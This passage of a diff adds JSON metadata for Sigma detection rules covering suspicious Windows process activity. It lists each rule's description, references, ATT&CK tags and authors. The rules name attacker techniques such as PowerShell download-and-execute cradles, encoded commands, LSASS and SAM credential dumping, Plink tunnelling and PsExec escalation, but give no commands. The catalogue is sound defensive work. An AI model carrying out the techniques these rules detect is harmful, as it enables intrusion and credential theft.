"attack.t1140", + "attack.t1027" + ], + "creation_date": "2018/03/23", + "filename": "proc_creation_win_susp_ping_hex_ip.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely, because no sane admin pings IP addresses in a hexadecimal form" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Plink tunnel port forwarding to a local port", + "uuid": "48a61b29-389f-4032-b317-b30de6b95314", + "value": "Suspicious Plink Port Forwarding", + "meta": { + "refs": [ + "https://www.real-sec.com/2019/04/bypassing-network-restrictions-through-rdp-tunneling/", + "https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_port_forward.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572", + "attack.lateral_movement", + "attack.t1021.001" + ], + "creation_date": "2021/01/19", + "filename": "proc_creation_win_susp_plink_port_forward.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity using a remote port forwarding to a local port" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execution of plink to perform data exfiltration and tunneling", + "uuid": "f38ce0b9-5e97-4b47-a211-7dc8d8b871da", + "value": "Suspicious Plink Usage RDP Tunneling", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572" + ], + "creation_date": "2022/08/04", + "filename": "proc_creation_win_susp_plink_usage.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains", + "uuid": "b9d9cc83-380b-4ba3-8d8f-60c0e7e2930c", + "value": "Suspicious PowerShell Encoded Command Patterns", + "meta": { + "refs": [ + "https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_cmd_patterns.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/05/24", + "filename": "proc_creation_win_susp_powershell_cmd_patterns.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other tools that work with encoded scripts in the command line instead of script files" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious ways to download files or content using PowerShell", + "uuid": "6e897651-f157-4d8f-aaeb-df8151488385", + "value": "PowerShell Web Download", + "meta": { + "refs": [ + "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_cradles.yml" + ], + "tags": "No established tags", + "creation_date": "2022/03/24", + "filename": "proc_creation_win_susp_powershell_download_cradles.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Scripts or tools that download files" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious ways to download files or content and execute them using PowerShell", + "uuid": "85b0b087-eddf-4a2b-b033-d771fa2b9775", + "value": "PowerShell Web Download and Execution", + "meta": { + "refs": [ + "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_iex.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/03/24", + "filename": "proc_creation_win_susp_powershell_download_iex.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Scripts or tools that download files and execute them" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious powershell command line parameters used in Empire", + "uuid": "79f4ede3-402e-41c8-bc3e-ebbf5f162581", + "value": "Empire PowerShell Launch Parameters", + "meta": { + "refs": [ + "https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_empire_launch.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/04/20", + "filename": "proc_creation_win_susp_powershell_empire_launch.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other tools that incidentally use the same command line parameters" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects some Empire PowerShell UAC bypass methods", + "uuid": "3268b746-88d8-4cd3-bffc-30077d02c787", + "value": "Empire PowerShell UAC Bypass", + "meta": { + "refs": [ + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_empire_uac_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "car.2019-04-001" + ], + "creation_date": "2019/08/30", + "filename": "proc_creation_win_susp_powershell_empire_uac_bypass.yml", + "author": "Ecco", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Commandline to launch powershell with a base64 payload", + "uuid": "fb843269-508c-4b76-8b8d-88679db22ce7", + "value": "Suspicious Execution of Powershell with Base64", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets", + "https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", + "https://mikefrobbins.com/2017/06/15/simple-obfuscation-with-powershell-using-base64-encoding/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_encode.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/01/02", + "filename": "proc_creation_win_susp_powershell_encode.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious encoded character syntax often used for defense evasion", + "uuid": "e312efd0-35a1-407f-8439-b8d434b438a6", + "value": "PowerShell Encoded Character Syntax", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1281103918693482496", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_encoded_param.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2020/07/09", + "filename": "proc_creation_win_susp_powershell_encoded_param.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)", + "uuid": "ca2092a1-c273-4878-9b4b-0d60115bf5ea", + "value": "Suspicious Encoded PowerShell Command Line", + "meta": { + "refs": [ + "https://app.any.run/tasks/6217d77d-3189-4db2-a957-8ab239f3e01e", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_enc_cmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2018/09/03", + "filename": "proc_creation_win_susp_powershell_enc_cmd.yml", + "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity", + "uuid": "b2815d0d-7481-4bf0-9b6c-a4c48a94b349", + "value": "PowerShell Get-Process LSASS", + "meta": { + "refs": [ + "https://twitter.com/PythonResponder/status/1385064506049630211", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_getprocess_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.004" + ], + "creation_date": "2021/04/23", + "filename": "proc_creation_win_susp_powershell_getprocess_lsass.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects base64 encoded strings used in hidden malicious PowerShell command lines", + "uuid": "f26c6093-6f14-4b12-800f-0fcb46f5ffd0", + "value": "Malicious Base64 Encoded PowerShell Keywords in Command Lines", + "meta": { + "refs": [ + "http://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_hidden_b64_cmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_powershell_hidden_b64_cmd.yml", + "author": "John Lambert (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious ways to run Invoke-Execution using IEX acronym", + "uuid": "09576804-7a05-458e-a817-eb718ca91f54", + "value": "Suspicious PowerShell IEX Execution Patterns", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_iex_patterns.yml" + ], + "tags": "No established tags", + "creation_date": "2022/03/24", + "filename": "proc_creation_win_susp_powershell_iex_patterns.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate scripts that use IEX" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious powershell invocations from interpreters or unusual programs", + "uuid": "95eadcb2-92e4-4ed1-9031-92547773a6db", + "value": "Suspicious PowerShell Invocation Based on Parent Process", + "meta": { + "refs": [ + "https://www.carbonblack.com/2017/03/15/attackers-leverage-excel-powershell-dns-latest-non-malware-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_parent_combo.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_powershell_parent_combo.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Microsoft Operations Manager (MOM)", + "Other scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious parents of powershell.exe", + "uuid": "754ed792-634f-40ae-b3bc-e0448d33f695", + "value": "Suspicious PowerShell Parent Process", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=26", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_parent_process.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/03/20", + "filename": "proc_creation_win_susp_powershell_parent_process.yml", + "author": "Teymur Kheirkhabarov, Harish Segar (rule)", + "level": "high", + "falsepositive": [ + "Other scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell scripts accessing SAM hives", + "uuid": "1af57a4b-460a-4738-9034-db68b880c665", + "value": "PowerShell SAM Copy", + "meta": { + "refs": [ + "https://twitter.com/splinter_code/status/1420546784250769408", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_sam_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2021/07/29", + "filename": "proc_creation_win_susp_powershell_sam_access.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Some rare backup scenarios", + "PowerShell scripts fixing HiveNightmare / SeriousSAM ACLs" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious sub processes spawned by PowerShell", + "uuid": "e4b6d2a7-d8a4-4f19-acbd-943c16d90647", + "value": "Suspicious PowerShell Sub Processes", + "meta": { + "refs": [ + "https://twitter.com/ankit_anubhav/status/1518835408502620162", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_sub_processes.yml" + ], + "tags": "No established tags", + "creation_date": "2022/04/26", + "filename": "proc_creation_win_susp_powershell_sub_processes.yml", + "author": "Florian Roth, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques", + "uuid": "c86133ad-4725-4bd0-8170-210788e0a7ba", + "value": "Net WebClient Casing Anomalies", + "meta": { + "refs": [ + "https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_webclient_casing.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/05/24", + "filename": "proc_creation_win_susp_powershell_webclient_casing.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a certain command line flag combination used by Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary", + "uuid": "a20391f8-76fb-437b-abc0-dba2df1952c6", + "value": "NodejsTools PressAnyKey Lolbin", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1463526834918854661", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pressynkey_lolbin.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/01/11", + "filename": "proc_creation_win_susp_pressynkey_lolbin.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other tools with the same command line flag combination", + "Legitimate uses as part of Visual Studio development" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Attackers can use print.exe for remote file copy", + "uuid": "bafac3d6-7de9-4dd9-8874-4a1194b493ed", + "value": "Abusing Print Executable", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Print/", + "https://twitter.com/Oddvarmoe/status/985518877076541440", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_print.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_susp_print.yml", + "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we're also able to catch cases in which the attacker has renamed the procdump executable.", + "uuid": "5afee48e-67dd-4e03-a783-f74259dcf998", + "value": "Suspicious Use of Procdump on LSASS", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_procdump_lsass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.credential_access", + "attack.t1003.001", + "car.2013-05-009" + ], + "creation_date": "2018/10/30", + "filename": "proc_creation_win_susp_procdump_lsass.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely, because no one should dump an lsass process memory", + "Another tool that uses the command line switches of Procdump" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious use of Process Hacker, a tool to view and manipulate processes, kernel options and other low level stuff", + "uuid": "811e0002-b13b-4a15-9d00-a613fce66e42", + "value": "Process Hacker Usage", + "meta": { + "refs": [ + "https://processhacker.sourceforge.io/", + "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_process_hacker.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/10", + "filename": "proc_creation_win_susp_process_hacker.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Sometimes used by developers or system administrators for debugging purposes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools", + "uuid": "efdd8dd5-cee8-4e59-9390-7d4d5e4dd6f6", + "value": "Suspicious Program Names", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_progname.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/11", + "filename": "proc_creation_win_susp_progname.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate tools that accidentally match on the searched patterns" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects user accept agreement execution in psexec commandline", + "uuid": "730fc21b-eaff-474b-ad23-90fd265d4988", + "value": "Psexec Accepteula Condition", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexec_eula.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569", + "attack.t1021" + ], + "creation_date": "2020/10/30", + "filename": "proc_creation_win_susp_psexec_eula.yml", + "author": "omkar72", + "level": "medium", + "falsepositive": [ + "Administrative scripts." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects launch of the PSEXESVC service, which means that this system was the target of a psexec remote execution", + "uuid": "fdfcbd78-48f1-4a4b-90ac-d82241e368c5", + "value": "PsExec Service Execution", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.youtube.com/watch?v=ro2QuZTIMBM", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/07/21", + "filename": "proc_creation_win_susp_psexesvc.yml", + "author": "Romaissa Adjailia, FLorian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate administrative tasks" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)", + "uuid": "7c0dcd3d-acf8-4f71-9570-f448b0034f94", + "value": "PsExec Service Execution as LOCAL SYSTEM", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_as_system.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/07/21", + "filename": "proc_creation_win_susp_psexesvc_as_system.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate administrative tasks" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious launch of a renamed version of the PSEXESVC service with, which is not often used by legitimate administrators", + "uuid": "51ae86a2-e2e1-4097-ad85-c46cb6851de4", + "value": "Renamed PsExec Service Execution", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.youtube.com/watch?v=ro2QuZTIMBM", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_renamed.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/07/21", + "filename": "proc_creation_win_susp_psexesvc_renamed.yml", + "author": "FLorian Roth", + "level": "high", + "falsepositive": [ + "Legitimate administrative tasks" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights", + "uuid": "8834e2f7-6b4b-4f09-8906-d2276470ee23", + "value": "PsExec/PAExec Escalation to LOCAL SYSTEM", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.poweradmin.com/paexec/", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_escalate_system.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ], + "creation_date": "2021/11/23", + "filename": "proc_creation_win_susp_psexex_paexec_escalate_system.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Admins that use PsExec or PAExec to escalate to the SYSTEM account for maintenance purposes (rare)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious flags used by PsExec and PAExec but no usual program name in command line", + "uuid": "207b0396-3689-42d9-8399-4222658efc99", + "value": "PsExec/PAExec Flags", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.poweradmin.com/paexec/", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_flags.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ], + "creation_date": "2021/05/22", + "filename": "proc_creation_win_susp_psexex_paexec_flags.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Weird admins that rename their tools", + "Software companies that bundle PsExec/PAExec with their software and rename it, so that it is less embarrassing" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Threat actors can use the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery.", + "uuid": "aae1243f-d8af-40d8-ab20-33fc6d0c55bc", + "value": "Suspicious Use of PsLogList", + "meta": { + "refs": [ + "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Sysinternals/PsLogList", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psloglist.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087", + "attack.t1087.001", + "attack.t1087.002" + ], + "creation_date": "2021/12/18", + "filename": "proc_creation_win_susp_psloglist.yml", + "author": "Nasreddine Bencherchali @nas_bench", + "level": "medium", + "falsepositive": [ + "Another tool that uses the command line switches of PsLogList", + "Legitimate use of PsLogList by an administrator" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The psr.exe captures desktop screenshots and saves them on the local machine", + "uuid": "2158f96f-43c2-43cb-952a-ab4580f32382", + "value": "Psr.exe Capture Screenshots", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Psr/", + "https://www.sans.org/summit-archives/file/summit-archive-1493861893.pdf", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psr_capture_screenshots.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ], + "creation_date": "2019/10/12", + "filename": "proc_creation_win_susp_psr_capture_screenshots.yml", + "author": "Beyu Denis, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder", + "uuid": "ac175779-025a-4f12-98b0-acdaeb77ea85", + "value": "PowerShell Script Run in AppData", + "meta": { + "refs": [ + "https://twitter.com/JohnLaTwC/status/1082851155481288706", + "https://app.any.run/tasks/f87f1c4e-47e2-4c46-9cf4-31454c06ce03", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_appdata.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/01/09", + "filename": "proc_creation_win_susp_ps_appdata.yml", + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "level": "medium", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line", + "uuid": "8f70ac5f-1f6f-4f8e-b454-db19561216c5", + "value": "PowerShell DownloadFile", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_downloadfile.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.command_and_control", + "attack.t1104", + "attack.t1105" + ], + "creation_date": "2020/08/28", + "filename": "proc_creation_win_susp_ps_downloadfile.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious UTF16 and base64 encoded and often obfuscated PowerShell code often used in command lines", + "uuid": "8d01b53f-456f-48ee-90f6-bc28e67d4e35", + "value": "Suspicious PowerShell Obfuscated PowerShell Code", + "meta": { + "refs": [ + "https://app.any.run/tasks/fcadca91-3580-4ede-aff4-4d2bf809bf99/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_encoded_obfusc.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/07/11", + "filename": "proc_creation_win_susp_ps_encoded_obfusc.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use Radmin Viewer Utility to remotely control Windows device", + "uuid": "5817e76f-4804-41e6-8f1d-5fa0b3ecae2d", + "value": "Use Radmin Viewer Utility", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1072/T1072.md", + "https://www.radmin.fr/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_radmin.yml" + ], + "tags": [ + "attack.execution", + "attack.lateral_movement", + "attack.t1072" + ], + "creation_date": "2022/01/22", + "filename": "proc_creation_win_susp_radmin.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions.", + "uuid": "faa48cae-6b25-4f00-a094-08947fef582f", + "value": "Rar Usage with Password and Compression Level", + "meta": { + "refs": [ + "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/", + "https://ss64.com/bash/rar.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rar_flags.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2020/05/12", + "filename": "proc_creation_win_susp_rar_flags.yml", + "author": "@ROxPinTeddy", + "level": "high", + "falsepositive": [ + "Legitimate use of Winrar command line version", + "Other command line tools, that use these flags" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process related to rasdial.exe", + "uuid": "6bba49bf-7f8c-47d6-a1bb-6b4dece4640e", + "value": "Suspicious RASdial Activity", + "meta": { + "refs": [ + "https://twitter.com/subTee/status/891298217907830785", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rasdial_activity.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059" + ], + 